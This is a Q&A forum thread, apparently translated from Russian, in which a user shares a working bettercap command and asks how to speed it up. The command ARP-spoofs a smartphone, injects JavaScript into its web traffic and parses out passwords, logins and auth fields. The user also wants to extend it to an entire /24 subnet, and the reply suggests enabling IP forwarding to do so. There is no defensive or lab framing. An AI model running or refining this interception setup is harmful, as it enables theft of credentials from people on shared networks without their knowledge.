A
A
Alexey Yarkov2016-07-01 16:55:54
linux
Alexey Yarkov, 2016-07-01 16:55:54

How to speed up bettercap?

I decided to play around with bettercap and set it from a laptop to a smartphone. Here is the script to run:

#!/bin/bash

# https://www.bettercap.org/docs/main.html

# IP смартфона
TARGET_IP="192.168.1.104"
GATEWAY="192.168.1.1"
INTERFACE="wlan0"
# скрипт, который будет инжектиться при каждом запросе
INJECT_JS_SCRIPT="./inject.js"
LOG_FILE_NAME="./debug.log"

sudo bettercap -T $TARGET_IP --gateway $GATEWAY --spoofer ARP --interface $INTERFACE --httpd --allow-local-connections --proxy --proxy-module=injectjs --js-file=$INJECT_JS_SCRIPT  --custom-parser="(.*password.*|.*login.*|.*admin.*|.*email.*|.*auth.*|.*registr.*)" --debug --log=$LOG_FILE_NAME

As a result, everything seems to work, I see requests and answers. But tryndets how slow... And this is an attack on one device. What if I want to attack TARGET_IP="192.168.1.1/24" ? This is finally a problem)) Can I speed it up somehow?

Answer the question

In order to leave comments, you need to log in

1 answer(s)
A
Andrey Gostishchev, 2016-01-01
@MERCH_music

try enabling ip forwarding before using bettercap:
echo "1" > /proc/sys/net/ipv4/ip_forward

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question